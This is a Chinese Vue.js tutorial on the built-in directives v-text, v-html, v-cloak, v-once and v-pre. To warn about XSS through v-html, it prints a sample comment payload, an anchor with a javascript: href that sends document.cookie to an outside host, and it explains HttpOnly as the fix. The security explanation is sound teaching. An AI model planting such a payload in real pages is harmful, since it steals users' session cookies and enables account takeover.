之前用到过的 v-bind、v-model等等都是属于Vue 的内置指令，是Vue给我们定义好的，我们可以直接使用，接下来我们来说一说之前没有用到过的其他的内置指令
v-text指令：向所在节点中 渲染文本内容
初始化一个 Vue ，在data内部添加 name 属性，分别通过插值语法、v-text 指令来绑定到不同的标签上进行展示
<div id='root'>
<div>你好，{{name}}</div>
<div v-text='name'>你好</div>
</div>
const vm = new Vue({
el: '#root',
data() {
return {
name: 'al'
}
},
})
发现展示出来之后在，通过 v-text 指令绑定的标签内部原本的文本也不复存在
如果我 定义的 name 是一个带有标签体结构的值又会是怎么样呢？
data() {
return {
name: '<h3>al</h3>'
}
},
证明插值语法和 v-text 指令都不能解析带有标签的字符串，而是会将带有标签的字符串当成一个正常的字符串进行展示。
ps：v-text 会替换掉节点中的原有的内容，但是 插值语法不会。两者都不会解析带有标签的字符串
v-html：向指定节点中渲染包含html结构的内容
<div id='root'>
<div>你好，{{name}}</div>
<div v-html='name'>你好</div>
</div>上面的例子不变，只是将 指令换成了 v-html 。
然后我们就发现了，v-text 不能解析的带有标签的字符串，v-html可以展示，但是同样的，还是将节点中原有的文本替换掉了
ps：v-html 会替换掉节点中的原有的内容，但是插值语法不会。v-html支持解析标签结构，插值语法不支持
ps2：v-html 存在安全性问题
- 在动态网站上渲染任意 HTML 是非常危险的，容易导致 xss( 冒充用户之手 ) 攻击
- 一定要在可信的内容上使用 v-html( 除非作为开发者的你知道绑定的值是安全的，否则不用)
- 永远不要 用在用户提交的内容上( 你的用户可能不是一个单纯的用户，可能是一个it高手 )
这个安全性问题怎么理解呢？这么说起来好像有点懵逼，下面我来简单说一下我的理解哈。首先有这么一个流程，
- 如果你在网页上登录了淘宝网站， 那么淘宝的服务器会把你的一些个人用户信息返回给你，存在浏览器的 cookie 中。
- 在你点击淘宝不同模块的时候，会从 cookie 中取一部分你的用户数据然后传递给服务器，服务器验证过后给你跳转到不同的模块，然后再返回一些新的信息数据给你，同样也保存在cookie中
- 浏览器规定可以通过 document.cookie 这个方法，获取你当前正在浏览的网页上的cookie
- 如果某些不法分子通过淘宝评论输入了一个 带有a标签的字符串，且这个a变标签中的href 属性指向是不法分子的服务器( 这里就用百度代替一下哈 )，然后它在 href 属性后面拼接上 通过 document.cookie 这个方法。
data() { return { name: '<a href=javascript:location.href="https://www.baidu.com?" + document.cookie>这是一条奇怪的蓝色评论</a>' } } - 凑巧淘宝渲染这些评论的时候，用的还是 v-html 指令，然后把这条评论转化成了一个可点击的a标签。
- 在你好奇这个评论的颜色问啥和别人的不一样的时候，点击了一下这条评论，然后你的用户信息( a:1,b:2 )，就会随着这个跳转的动作，发送到了不法分子的服务器，不法分子获取到了你的用户信息后，那么他就可以再不用得到你的账户密码的情况下，将这些用户信息直接放到淘宝页面的 cookie 中，刷新页面就可以直接进入到你的淘宝账号，然后开始干坏事。
这就是 v-html 存在风险的原因，但是这个风险并不是 Vue 带来的，而是浏览器本身的限制造成的
但是浏览器也给了我们解决方案，打开控制台，查看 application ，点击 cookie，我们发现在 cookie 中存在很多不同的地址
我现在查看的是 baidu 的 cookie ，里面的 cookie 有很多，我只截取了一部分看看效果
我们发现了有一个 HttpOnly 属性，这是最常见的缓解 XXS 攻击的手段。简单来说这个就是包含在http返回头Set-Cookie里面的一个附加的flag，它是后端服务器对cookie设置的一个附加的属性，如果浏览器支持 这个属性，且后端设置该属性为 true ，那么即使使用 document.cookie 也无法获取到当前页面的 cookie，例如：
直接在控制台上使用 document.cookie 获取百度的 cookie 能获取到这么多(个人信息打码)
那如果我们在 将每一调 cookie 的 HttpOnly 值设置为true之后再来打印，会发现打印出来之后是空字符串，说明没有取到当前页面的 cookie，从而避免了 xxs 攻击
v-cloak：本质是一个特殊属性，没有属性值
在Vue 实例创建完毕并接管容器之后，会删掉 v-clock 属性。使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{ xxx }} 等未经解析的问题。
举个例子就是：
因为 js 是单线程的，如果我在 header 内部引入的 js 因为网速过慢就会导致阻塞，body 中的东西都无法渲染。其实这还是好的情况，因为页面上展示的是一片空白，啥也看不出来。
<head>
<script src="这个引入的cdn文件因为网速原因加载了五分钟"></script>
</head>
// body 中的所有东西都会停止加载，直到上面引入的 js 文件加载成功才会执行
<body>
<div id='root'>
<div>{{name}}</div>
</div>
<script>
const vm = new Vue({
el: '#root',
data() {
return {
name: 'al'
}
}
})
</script>
</body>但是如果我引入的js 是放在 body 最后面的，那就是在我的所有 页面上的标签全部都加载完了之后，发现我的 vue.js 文件没有引入，那我的插值语法等一系列需要Vue 来解析的模板，都会以字符串的形式直接展示在 页面上。这样给用户的体验就是，我这是开了个啥网站？这页面上都是些啥玩意？
所以我们可以在 当前展示的标签上添加 v-clock 属性，然后配合 css 样式来控制该节点是否展示
<style>
[v-cloak] {
display: none;
}
</style>
<div id='root'>
<div v-cloak>{{name}}</div>
</div>我们给 div 添加了 v-cloak 属性，然后 通过 [v-cloak] 给这个属性添加了一个样式，js 会先渲染这个节点，但是因为标签上的 v-cloak 属性对应了css 的[v-cloak]样式，所以会隐藏该节点。
当 Vue 实例创建完毕且接管 root 容器之后，Vue 会自动移除标签上的 v-cloak 属性，与之对应的 css 样式也不生效了，此时Vue 也将解析完成的正确模板展示了出来。
v-once：特殊属性，同样没有属性值
v-once 所在节点在 初次动态渲染 之后，就被视为静态内容了。在此之后，数据的改变不会引起 v-once 所在结构的更新，可以用于性能优化( 新旧列表数据对比 )。这个指令和 事件修饰符 once 还是存在本质区别的。
现在我的页面上有一个 计数器，有一个按钮，点击一次计数器自增1，但是我同时还需要展示初始的计数器值，这个时候就需要用到 v-once
<div id='root'>
<div v-once>{{count}}</div>
<div>{{count}}</div>
<button @click='count++'>点我+1</button>
</div>
const vm = new Vue({
el: '#root',
data() {
return {
count: 1
}
}
})
可以看到，都是引用的 data 中 的 count 响应式属性，计数器的值以及发生了改变，但是初始值却是展示正确，并没有和计数器同步更改，这就是 v-once 的作用
v-pre：特殊属性，无值。
跳过其所在节点的编译过程，也就是说可以利用这个属性，让没有使用指令语法或插值语法的节点 跳过 Vue 的编译过程，加快工程的编译速度
<div id='root'>
<div v-pre>Vue其实很简单</div>
<div v-pre>{{count}}</div>
<button v-pre @click='count++'>点我+1</button>
</div>
我给所有节点都添加了 v-pre 属性，然后界面上可以看到展示的 都是未经过 Vue 编译的原始模板，这就证明了， v-pre 可以让所在节点 跳过 Vue 的编译过程，对于静态节点(在这里指不包含差值语法或Vue指令的节点)可以使用这个指令来加快 整个 Vue 工程的编译速度。
492
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
